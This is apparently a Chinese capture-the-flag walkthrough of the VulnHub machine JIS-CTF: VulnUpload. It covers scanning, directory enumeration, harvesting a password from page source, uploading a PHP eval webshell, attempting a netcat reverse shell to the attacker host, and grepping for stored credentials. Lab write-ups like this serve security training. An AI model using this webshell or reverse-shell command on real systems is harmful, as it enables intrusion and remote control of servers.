JIS-CTF: VulnUpload靶场渗透
JIS-CTF: VulnUpload来自
<https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
靶机IP地址192.168.23.162,攻击机IP地址192.168.23.140
3,扫描靶机端口服务
nmap -sS -sV -n -T4 -p- -A192.168.23.162
端口和服务:
- 22/tcp:SSH服务(OpenSSH 7.2p2,运行在Ubuntu 4ubuntu2.1版本上)。
- 80/tcp:HTTP服务(Apache 2.4.18,运行在Ubuntu上)。
SSH 主机密钥:
- RSA:2048 af:b9:68:38:77:7c:40:f6:bf:98:09:ff:d9:5f:73:ec
- ECDSA:256 b9:df:60:1e:6d:6f:d7:f6:24:fd:ae:f8:e3:cf:16:ac
- ED25519:256 78:5a:95:bb:d5:bf:ad:cf:b2:f5:0f:c0:0c:af:f7:76
HTTP 信息:
- 网页标题:Sign-Up/Login Form(注册/登录表单)
- 请求的资源:login.php
- 服务器标头:Apache/2.4.18 (Ubuntu)
- robots.txt 文件中禁止访问的目录:
- /、/backup、/admin、/admin_area、/r00t、/uploads、/uploaded_files、/flag 等
设备和操作系统信息:
- MAC 地址:00:0C:29:71:5F:82(表示此设备是虚拟机,使用 VMware)。
- 设备类型:一般用途设备。
- 操作系统:运行 Linux 3.x 或 4.x 版本。
- 操作系统细节:Linux 内核版本范围为 3.2 到 4.9。
- 网络距离:距离扫描主机 1 跳。
4,访问80端口开放的HTTP服务
初始就是一个登录页面
5,爆破扫描出其存在的子目录页面
dirsearch -u http://192.168.23.162 -x 404,403
存在robots.txt查看一下
/backup 什么都没有
/admin 什么都没有
/admin_area
/r00t 什么都没有
/uploads 什么都没有
/uploaded_files 一片空白
/flag
信息收集得到第一个flag,The 1st flag is : {8734509128730458630012095}
http://192.168.23.162/js/index.js
1. 表单标签的动态效果:
通过绑定 keyup, blur, 和 focus 事件,动态地改变表单元素前面标签(label)的样式,以实现标签的浮动效果,增强用户交互体验。
- keyup 事件:每当用户输入时触发。
- 如果输入框(input 或 textarea)的值为空,标签移除 active 和 highlight 类,表示标签回到默认位置。
- 如果输入框有值,标签添加 active 和 highlight 类,标签上浮。
- blur 事件:当输入框失去焦点时触发。
- 如果输入框的值为空,标签移除 active 和 highlight 类,标签恢复原位。
- 如果输入框有值,标签只移除 highlight 类(但保留 active 类),标签保持浮动状态。
- focus 事件:当输入框获得焦点时触发。
- 如果输入框为空,标签移除 highlight 类。
- 如果输入框有值,标签添加 highlight 类,标签会有高亮效果。
2. 标签切换效果:
通过 click 事件绑定在 .tab a 元素上,实现标签的切换效果。具体步骤如下:
- click 事件:当用户点击标签时触发。
- 阻止默认的跳转行为(e.preventDefault()),因为标签是通过显示和隐藏内容来切换的,不需要进行页面跳转。
- 当前点击的标签的父元素(<li>)被添加 active 类,同时去除兄弟元素的 active 类,实现当前标签的高亮。
- 根据点击的标签的 href 属性(即对应的目标区域 div),找到目标内容区并显示。
- 使用 fadeIn(600) 使目标内容区淡入,显示出来,同时隐藏其他非目标内容区。
总结:
- 表单动态标签效果:输入框获得或失去焦点时,标签会根据输入框的内容浮动或回到原位,以提高用户体验。
- 标签切换效果:通过点击标签(如 Tab 切换),用户可以在多个内容区之间切换,显示对应的内容区域,使用淡入效果使界面更平滑。
http://192.168.23.162/assets/ 更像是一个目录
6,再对登录页面的指纹信息进行扫描,看看是否存在因为版本过低而产生的漏洞
jQuery 是一个快速、简洁的 JavaScript 库,旨在简化 HTML 文档遍历、事件处理、动画效果以及 Ajax 与服务器端的交互。它通过提供简洁的 API,使得开发者能够更轻松地操作 DOM(文档对象模型)、处理事件、动画和与服务器的交互。
没有明显的公开漏洞利用exp
7,再sqlmap自动化测试有无sql注入漏洞,首先burp suite抓一个标准的的登录请求包
没有token也没有cookie,这个登录界面是比较简陋的。将请求信息写入sql.txt,然后开始自动化测试
sqlmap -r sql.txt --level 5 --risk 3 --batch
sql注入失败
8,在进一步信息收集过程,查看view-source:http://192.168.23.162/admin_area/页面源代码,得到疑似账户密码的重要信息
username : admin
password : 3v1l_H@ck3r
信息收集得到第二个flag The 2nd flag is : {7412574125871236547895214}
尝试登录
登录成功,提供了一个用于上传文件的功能页面
9,编写一句话木马尝试上传
<?php @eval($_POST['shell']);?>
上传成功,只是需要找到文件上传位置的绝对路径。根据信息收集的结果,推测是存在于http://192.168.23.162/uploaded_files/shell.php。一句话木马配合webshell工具蚁剑使用,获得网站控制权
10,下一步就是反弹shell,使kali攻击机能够获取服务器的shell
nc -e /bin/bash 192.168.23.140 4444
nc-e 被禁用了,需要更换反弹shell的命令,姑且先进行信息收集,看能不能找到线索
服务器路径/var/www/html/flag.txt是空的,没有内容。/var/www/html/hint.txt文件藏在第三个flag
并且给予了新的提示,尝试找到用户 technawi 的密码,以便读取 flag.txt 文件,它可以在一个隐藏的文件中找到
11,然后就需要漫长的找flag.txt,其中应该包含了technawi用户的密码
grep -sr '4th flag' /
成功找到flag4,路径/etc/mysql/conf.d/credentials.txt
username : technawi
password : 3vilH@ksor
12,在nmap扫描的时候看到存在22端口ssh服务,尝试一下登录
13,信息收集一下,当前用户权限还是比较低的
最后得到第五个flag cat /var/www/html/flag.txt
14 ,最后稀里糊涂的提权成功了
一共五个flag,主要是信息收集,文件上传,蚁剑的使用。没有什么做题价值
相关文章:

JIS-CTF: VulnUpload靶场渗透
JIS-CTF: VulnUpload来自 <https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/> 1,将两台虚拟机网络连接都改为NAT模式 2,攻击机上做namp局域网扫描发现靶机 nmap -sn 192.168.23.0/24 靶机IP地址192.168.23.162,攻击机IP地址192.168.23.140…...

BGP-面试
简单介绍一下BGP BGP,边界网关协议,属于路径矢量路由协议。属于触发式更新或者增量更新。具有丰富的路由策略,能够灵活的进行路由选择。重心不是在路由学习,而是路由优选、更高效的传递路由和维护大量的路由信息。基于TCP…...

Git-安装与常用命令
目录 1.Git环境配置 1.1下载 1.2配置 1.2.1基本配置 1.2.2常用指令配置别名 1.2.3获取本地仓库 git命令在git bash中演示,会用到一些Linux命令。 1.Git环境配置 1.1下载 Git下载地址:https://git-scm.com/download 傻瓜式安装就可以了。 安装…...

回归预测 | Matlab实现基于BiLSTM-Adaboost双向长短期记忆神经网络结合Adaboost集成学习回归预测
目录 效果一览基本介绍模型设计程序设计参考资料效果一览 基本介绍 回归预测 | Matlab实现基于BiLSTM-Adaboost双向长短期记忆神经网络结合Adaboost集成学习回归预测 模型设计 基于BiLSTM-Adaboost的回归预测模型结合了双向长短期记忆神经网络(BiLSTM)和Adaboost集成学习的…...

微信小程序跳转其他小程序以及跳转网站
一、跳转其他小程序 1.1 知道appid和页面路径 wx.navigateToMiniProgram({appId: appid, // 替换为目标小程序 AppIDpath: pathWithParams, // 小程序路径envVersion: release, // 开发版、体验版或正式版success(res) {console.log("跳转到其他小程序成功!&q…...

Not using native diff for overlay2, this may cause degraded performance……
问题现象 案例:Anolis 8.9(4.19.91-26.an8.x86_64) Overlay2存储驱动程序) 当我们安装好Docker之后,通过systemctl status docker -l 会发现有一个告警信息:levelwarning msg"Not using native dif…...

【自用】管材流转项目 数据库恢复之 PIPE 表 二维码相关 各个表恢复 SQL
总览 1.后端前端和数据库 PIPE 页面的关系 2.后端批量生成二维码 jpg 图片 3.为了保证 PIPE 正常使用的调整 4.TRANSFORM(流转表) 一、后端前端和数据库 PIPE 页面的关系 1.前端 关于PIPE页面,首先,在前端,我们已经…...

【渗透测试】信息收集二
其他信息收集 在渗透测试中,历史漏洞信息收集是一项重要的工作,以下是相关介绍: 历史漏洞信息收集的重要性 提高效率:通过收集目标系统或应用程序的历史漏洞信息,可以快速定位可能存在的安全问题,避免重复…...

测试工程师八股文04|计算机网络 和 其他
一、计算机网络 1、http和https的区别 HTTP和HTTPS是用于在互联网上传输数据的协议。它们都是应用层协议,建立在TCP/IP协议栈之上,用于客户端(如浏览器)和服务器之间的通信。 ①http和https的主要区别在于安全性。http是一种明…...

定时/延时任务-Kafka时间轮源码分析
文章目录 1. 概要2. TimingWheel2.1 核心参数2.2 添加任务2.3 推进时间 3. TimerTaskList3.1 添加节点3.2 删除节点3.3 刷新链表3.4 队列相关 4. 时间轮链表节点-TimerTaskEntry5. TimerTask6. Timer 和 SystemTimer - 设计降级逻辑7. 上层调用8. 小结 1. 概要 时间轮的文章&a…...

如何用状态图进行设计05
到目前为止,我们已经讨论了状态图的原理。这些原理对状态图和扩展状态图都适用。第二章后面的部分主要讲述了扩展状态图的扩展功能。我们将围绕这些增强的功能,使你对BetterState Pro的设计能力有很好的了解。 关于这些内容和其他有关扩展状态图特性的完…...

【计算机视觉】边缘检测
图像的边缘简单来说就是图像中灰度不连续的地方。 1.图像梯度 图像梯度是指图像像素灰度值在某个方向上的变化;图像梯度是图像的一阶导数,实际计算时可以使用差分来近似。 1.1 什么是图像梯度? 图像梯度是一种数学工具,用于描…...

林曦词典|无聊
“林曦词典”是在水墨画家林曦的课堂与访谈里,频频邂逅的话语,总能生发出无尽的思考。那些悠然轻快的、微妙纷繁的,亦或耳熟能详的词,经由林曦老师的独到解析,意蕴无穷,让人受益。于是,我们将诸…...

LabVIEW光栅衍射虚拟仿真系统
随着现代教育技术的快速发展,虚拟仿真实验平台逐渐成为物理实验教学的重要辅助工具。基于LabVIEW的平面透射光栅虚拟仿真系统帮助学生更好地理解和分析光栅衍射现象,提高教学质量和学生的学习兴趣。 项目背景 在波动光学的教学中,光栅衍射实…...

【NumPy进阶】:内存视图、性能优化与高级线性代数
目录 1. 深入理解 NumPy 的内存视图与拷贝1.1 内存视图(View)1.1.1 创建视图1.1.2 视图的特点 1.2 数组拷贝(Copy)1.2.1 创建拷贝1.2.2 拷贝的特点 1.3 视图与拷贝的选择 2. NumPy 的优化与性能提升技巧2.1 向量化操作示例&#x…...

从YOLOv5到训练实战:易用性和扩展性的加强
文章目录 前言一、模型介绍二、YOLOv5网络结构1.Input(输入端):智能预处理与优化策略2.Backbone(骨干网络):高效特征提取3.NECK(颈部):特征增强与多尺度融合4.Prediction…...

Prim 算法在不同权重范围内的性能分析及其实现
Prim 算法在不同权重范围内的性能分析及其实现 1. 边权重取值在 1 到 |V| 范围内伪代码C 代码实现2. 边权重取值在 1 到常数 W 之间结论Prim 算法是一种用于求解加权无向图的最小生成树(MST)的经典算法。它通过贪心策略逐步扩展生成树,确保每次选择的边都是当前生成树到未加…...

canal安装使用
简介 canal [kənl],译意为水道/管道/沟渠,主要用途是基于 MySQL 数据库增量日志解析,提供增量数据订阅和消费 工作原理 canal 模拟 MySQL slave 的交互协议,伪装自己为 MySQL slave ,向 MySQL master 发送 dump 协议…...

python爬虫常用数据保存模板(Excel、CSV、mysql)——scrapy中常用数据提取方法(CSS、XPATH、正则)(23)
文章目录 1、常用数据保存模板2.1 保存为Excel格式2.2 保存为CSV格式2.3 保存至mysql数据库2、scrapy中常用数据提取方法2.1 XPath选择器2.2 CSS选择器2.3 正则表达式1、常用数据保存模板 2.1 保存为Excel格式 # 1、导入模块 from openpyxl import workbook# 2、创建一个exce…...

You need to call SQLitePCL.raw.SetProvider()
在.NET环境中使用Entity Framework Core(EF Core)连接SQLite数据库时,报错。 使用框架 .NET8 错误信息: Exception: You need to call SQLitePCL.raw.SetProvider(). If you are using a bundle package, this is done by calling…...

IoTDB AINode 报错,call inference 301: Error ocurred while executing inference
问题及现象 使用时序数据库 IoTDB 的 AINode 的 call inference 语句后报错: Msg: org.apache.iotdb.jdbc.IoTDBSOLException:301: Error ocurred while executing inference:[tuple object has no attribute inference]解决方法 可以替换 venv 里面的…...

LLM之RAG实战(五十)| FastAPI:构建基于LLM的WEB接口界面
FastAPI是WEB UI接口,随着LLM的蓬勃发展,FastAPI的生态也迎来了新的机遇。本文将围绕FastAPI、OpenAI的API以及FastCRUD,来创建一个个性化的电子邮件写作助手,以展示如何结合这些技术来构建强大的应用程序。 下面我们开始分步骤操…...

项目-移动端适配的几种方案
目录 一、rem方案二、vw适配方案 一、rem方案 以vue2项目为例 下载安装包:npm install amfe-flexible --save在main.js中引入:import ‘amfe-flexible’下载安装包:npm install postcss-pxtorem --save项目下新建postcss.config.js文件&…...

HCIA-Access V2.5_2_2网络通信基础_TCP/IP协议栈报文封装
TCP/IP协议栈的封装过程 用户从应用层发出数据先会交给传输层,传输层会添加TCP或者UDP头部,然后交给网络层,网络层会添加IP头部,然后交给数据链路层,数据链路层会添加以太网头部和以太网尾部,最后变成01这样…...

LSTM详解
1. LSTM设计 LSTM(长短期记忆网络)详解 长短期记忆网络(LSTM, Long Short-Term Memory) 是一种特殊的循环神经网络(RNN),特别适合处理和预测序列数据中的长时间依赖关系。LSTM 通过引入“门机制”(如输入门、遗忘门、输出门)来解决标准 RNN 在长时间序列任务中梯度消…...

从零开始搭建Android开发环境:简单易懂的完整教程
前言: 作为安卓开发的入门,搭建开发环境是每个开发者都必须迈出的第一步。虽然这一步看似简单,但如果没有正确的配置,可能会遇到各种问题。本篇文章将为大家详细介绍如何从零开始搭建Android开发环境,确保你能够顺利开…...

大模型运用-Prompt Engineering(提示工程)
什么是提示工程 提示工程 提示工程也叫指令工程,涉及到如何设计、优化和管理这些Prompt,以确保AI模型能够准确、高效地执行用户的指令,如:讲个笑话、java写个排序算法等 使用目的 1.获得具体问题的具体结果。(如&…...

CMake简单使用(二)
目录 五、scope 作用域5.1 作用域的类型5.1.1 全局作用域5.1.2 目录作用域5.1.3 函数作用域 六、宏6.1 基本语法6.2 演示代码 七、CMake构建项目7.1 全局变量7.2 写入源码路径7.3 调用子目录cmake脚本7.4 CMakeLists 嵌套(最常用) 八、CMake 与库8.1 CMake生成动静态库8.1.1 动…...

攻防世界安卓刷题笔记(新手模式)1-4
1.基础android 进入后是这样的页面。查看源代码看看。首先要注意这个软件并没有加壳,所以我们可以直接着手分析。搜索错误提示“Failed”定位到关键代码,看样子就是检验输入的内容 注意到这里有一行关键代码,cond_39对应的正是failed那个地方…...

发现一个对话框中的按钮,全部失效,点击都没有任何反应,已经解决
前端问题,技术vue2,ts。 发现一个对话框中的按钮,全部失效,点击都没有任何反应。 因为我只在template标签中加入下面这个代码,并没有注册。 只要有一个子组件没有注册,就会影响所有的按钮,使当前…...